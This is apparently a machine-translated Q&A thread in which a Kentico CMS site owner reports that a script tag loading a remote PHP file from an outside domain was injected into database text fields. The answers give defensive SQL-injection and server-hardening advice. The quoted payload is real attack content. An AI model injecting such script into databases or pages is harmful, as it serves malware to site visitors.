如何通过黑客攻击我的Asp.net网站和我的SQL服务器来保护?

时间:2011-12-07 09:45:39

标签: sql asp.net sql-server

我的网站是在Kentico CMS 5.5和SQL server 2008中创建的。它的运行成功但是现在这些天黑客攻击了我的网站,经过很长一段时间我发现在很多表中黑客添加

></title><script src="http://lilupophilupop.com/sl.php"></script><!--

在varchar cell之前的行。假设我在用户名表之前有用户表,它会添加此字符串,在用户的电子邮件ID之前添加相同的字符串。如何通过使用此黑客来阻止我的SQL服务器。这背后的原因是什么?

6 个答案:

答案 0 :(得分:3)

  

如何通过使用此黑客来阻止我的SQL服务器。

首先,您需要找出 黑客如何将数据导入您的数据库(SQL注入,弱帐户密码......)。 然后您可以采取适当的行动。

  

这背后的原因是什么?

黑客希望varchar字段打印在网页上而不先进行正确编码。如果发生这种情况,用户的浏览器将下载并执行脚本。

答案 1 :(得分:1)

这看起来可能是“SQL注入”攻击,可能旨在将您的访问者发送到欺诈网站的恶意软件。

不幸的是,Kentico CMS是商业软件,您的选择有限。您将不会拥有可以调整的源,以防止通过前端进一步攻击。

您可能需要

  • 检查SQL Server的安全性并确保攻击者没有直接连接到它
  • 更新到CMS的最新安全补丁(如果您支付免费维护费用)
  • 获得Kentico的支持,他们可能已经看过了
  • 清理数据并删除有问题的脚本

如果这些都不成功,您可以在SQL中的必要表中添加触发器,以便在脚本插入数据库时​​将其删除。

答案 2 :(得分:0)

您需要遵循行业最佳实践:看看 https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

对于前10个Web应用程序安全风险。

答案 3 :(得分:0)

要记住的是,保存数据库免受黑客攻击的行为如下:

  • 始终使用参数化Sql,使用参数化查询将所有值传递给DB

    SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = @ID");
    

    SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = " + value + "");
    

    同样,使用INSERTUPDATEDELETE查询,或以相同方式使用STORED PROCEDURE

  • 仅为特定用户设置权限

  • 您可以根据需要在页面/ web.config文件中打开/关闭ValidateRequest
  • 在客户端/服务器端设置验证,以便只将有效数据传递给DB
  • 除了使用通用数据类型(比如VARCHAR)
  • 之外,您的列中的用户适当的数据类型

由于

答案 4 :(得分:0)

以下是此类攻击的工作原理:     Attack on ASP site that uses a SQL server database

此链接可帮助您清理数据库:     http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/

答案 5 :(得分:0)

我同意@Heinzi - 你应该努力弄清楚攻击向量(baddie如何进入你的应用程序)。您在数据库中找到了文本,但它是如何实现的?直接通过Sql Server或通过Web服务器或通过Kentico?当你完成这个调查过程时,记下你的安全性弱点,并在你去的时候确定它 - 你基本上是在进行安全审计!执行这些步骤会导致harden your servers针对大多数类型的攻击,希望能够再次阻止此类事件发生。

我对你的拓扑结构一无所知(你的服务器是如何设置和连接到彼此和网络的),但是我们可以通过查看机器的Windows日志来开始调查你的sql server是安装在 - 查找有问题的登录时间,查找奇怪的用户帐户,并检查您的密码和用户名安全性。有关详细信息,请参阅此处:Windows Intruder Detection Checklist

如果没有显示任何内容look at the Sql server logs,请检查您的用户名/密码安全性以及对sql server实例的访问权限;例如:sql server只能从有明确原因的机器上访问 - 您的Web服务器,可能是网络管理员等 - 使用Windows防火墙使访问“紧”,这样sql server实例不仅仅是回应任何电脑询问。 - Here's more details about how to secure sql server.

检查网络服务器上的web.config - 那里是sql server用户名和密码吗?检查您的ftp日志,看看是否有人最近尝试阅读它。

Kentico版本5+(可能更早)具有记录'事件'的能力。如果您启用了事件记录,则应该能够看到正在修改的模板;转到Site Manager > Administration > Event Log并返回到您第一次注意到它的日期,并检查用户帐户正在进行修改的条目。

甚至更好:如果您有权访问数据库服务器,则可以执行直接表查询以获取此数据: SELECT TOP 1000 * FROM [CMS_EventLog]再次查看奇怪的Ip地址或奇数时间发生的条目或用户名。

同样,最好尽可能限制对所有“敏感”资源(数据库,Kentico cmsdesk和siteadmin)的访问。 Windows防火墙非常适合这样做 - 加强远程桌面访问,并关闭尽可能多的端口以减少服务器的暴露表面区域。使用Shields Up! from Gibson ResearchAwesome Nmap security scanner tool之类的简单内容测试您的曝光。

例如,我的网络服务器只公开端口80和443(http和https),如果需要,可能是Ftp的4456随机高端口。我使用Windows防火墙将对远程桌面的访问限制为少数IP地址。 Sql服务器没有公共端口,它们被调整为“隐身”而不回复来自未授权IP的任何请求。

作为一个轶事的例子 - 当我把服务器放到现场时,它已经花了8个小时才开始尝试通过远程桌面登录(你可以看到Windows事件日志中的数千次失败尝试&gt;安全性) - 只要您使用Windows防火墙忽略未经批准的IP地址,日志就会保持清晰。

作为一个有用的说明:如果您没有这方面的经验,您可能希望获得经验丰富的Windows系统管理员的服务来帮助您。并且请注意可能存在更多受损系统 - 您可能刚刚发现了'冰山一角',可能有Trojans和Rootkits以及其他恶意等待,所以您还需要完整的安全扫描。